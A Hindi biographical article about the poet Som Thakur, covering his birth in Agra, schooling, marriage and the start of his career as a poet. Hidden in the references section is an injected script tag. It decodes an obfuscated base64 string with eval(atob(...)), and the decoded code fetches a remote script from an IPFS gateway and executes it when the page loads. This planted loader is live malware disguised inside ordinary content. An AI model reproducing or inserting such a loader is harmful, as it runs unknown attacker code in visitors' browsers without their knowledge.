सोम ठाकुर

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सोम ठाकुर (जन्म- 5 मार्च, 1934, आगरा, उत्तर प्रदेश) मुक्तक, ब्रज के छंद और बेमिसाल लोक गीतों के वरिष्ठ एवं लोकप्रिय रचनाकार हैं। वे बड़े ही सहज, सरल व संवेदनशील व्यक्तित्व के कवि है। इन्होंने 1959 से 1963 तक 'आगरा क़ोलेज', उत्तर प्रदेश में अध्यापन कार्य भी कराया। वर्ष 1984 में सोम ठाकुर पहले कनाडा, फिर हिन्दी के प्रसार के लिए मॉरिसस भेजे गए। बाद में ये अमेरिका चले गए। वापस लौटने पर इन्हें 'उत्तर प्रदेश हिन्दी संस्थान' का कार्यकारी अध्यक्ष बनाया गया और राज्यमंत्री का दर्जा दिया गया। इनके उल्लेखनीय योगदान के लिए इन्हें 2006 में 'यशभारती सम्मान' और वर्ष 2009 में दुष्यंत कुमार अलंकरण प्रदान किया गया।

जन्म

सोम ठाकुर का जन्म 5 मार्च, 1934 को अहीर पाड़ा, राजामंडी, आगरा (उत्तर प्रदेश) में हुआ था। इनके पिता का नाम दीपचन्द ठाकुर तथा माता श्रीमति श्यामदेवी थीं। माता-पिता की इकलौती संतान होने के कारण इनका पालन-पोषण बड़े प्यार से हुआ। इनका बाल्यकाल का नाम सोम प्रकाश ठाकुर रखा गया था, किंतु कविता लिखने के पश्चात इनके नाम से 'प्रकाश' हट गया और प्रसिद्ध कवि तथा गीतकार प्रो. जगत प्रकाश चतुर्वेदी के कहने पर इनका नाम सिर्फ़ सोम ठाकुर रह गया। जन्म के गणित के अनुसार इनका नाम निरंजन सिंह था।[1]

शिक्षा

सोम ठाकुर को माता-पिता ने इकलौती संतान होने के कारण दस वर्ष तक घर पर ही अंग्रेज़ी, गणित तथा हिन्दी की पढ़ाई मास्टर पंडित रामप्रसाद तथा पंडित सेवाराम द्वारा करवाई। 5वीं कक्षा से 10वीं कक्षा तक की शिक्षा इन्होंने 'गवर्नमेंट हाईस्कूल', आगरा से प्राप्त की। हाईस्कूल के बाद इन्होंने 'आगरा कॉलेज' से जीव विज्ञान के साथ इण्टर किया और फिर बी.एस.सी. की पढ़ाई करने लगे। लेकिन इसी बीच सोम ठाकुर की रूचि साहित्य और हिन्दी कविता की ओर हो गई। अत: उन्होंने बी.एस.सी. छोड़ दी। अब सोम ठाकुर ने अंग्रेज़ी साहित्य और हिन्दी साहित्य के साथ बी.ए. किया और फिर हिन्दी से एम.ए. किया।

विवाह

सोम ठाकुर का विवाह मुरैना ज़िले के निवासी जगन्नाथ सिंह की इकलौती पुत्री सुमन लता से 5 मई, 1954 को संपन्न हुआ। इनकी पत्नी सुमन लता ने पग-पग पर जीवन संघर्ष में इनका साथ दिया। सोम ठाकुर चार पुत्रियों- वंदना, अर्चना, नीराजना तथा आराधना और दो पुत्रों- अजित वरदान सिंह व अमित श्रीदान सिंह के पिता भी बने।

कवि यात्रा

सन 1945 में द्वितीय विश्व युद्ध समाप्त हुआ था, ब्रिटिश शासन के आगे जर्मनी व जापान आदि देशो ने समर्पण कर दिया था। इसी विजय दिवस के अवसर पर राजकीय विद्यालय में बच्चों की काव्य- पाठ प्रतियोगिता का आयोजन किया गया था। इस आयोजन में सोम ठाकुर भी अपनी कविता लेकर पहुँचे थे, लेकिन साहस ना जुटा पाने के कारण वे अपनी कविता नही पढ़ सके। यह पहला अवसर था, जब सोम ठाकुर स्वरचित तुकबंदी लेकर वहाँ पहुँचे थे। बाद के समय में सोम ठाकुर एक दिन 'नागरी प्रचारिणी सभा', आगरा पहुँचे। वे पहले उसके सदस्य बने, फिर कविताओं की पुस्तकों का चयन किया, जिसमें महादेवी वर्मा द्वारा लिखित 'दीपशिखा' अपने नाम पर लिखा ली। 'दीपशिखा' की ओर प्रभावित होने का एक कारण ये भी था की इसमें कविता के साथ जो काव्य रूप चित्र थे, उनसे वे प्रभावित हुए। एक शब्दकोष भी खरीदा और एक कविता प्रारम्भ में लिखी "यातनाएँ ये नहीं निर्माण के पल है"। सोम ठाकुर ने ये कविता मित्रों को पढ़कर सुनाई। उन्होंने सराहना की तथा सोम ठाकुर ने 'अम्बुज' उपनाम शीर्षक से नामकरण संस्कार भी कर दिया। कुर्ता पयज़ामा पहनकर कवि सम्मेलन में जाना उन्हें रुचिकार लगने लगा और इसी रूप में अपनी पहचान बनाने का वे प्रयास करने लगे।[1]


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 कवि सोम ठाकुर (हिन्दी)। । अभिगमन तिथि: 06 अक्टूबर, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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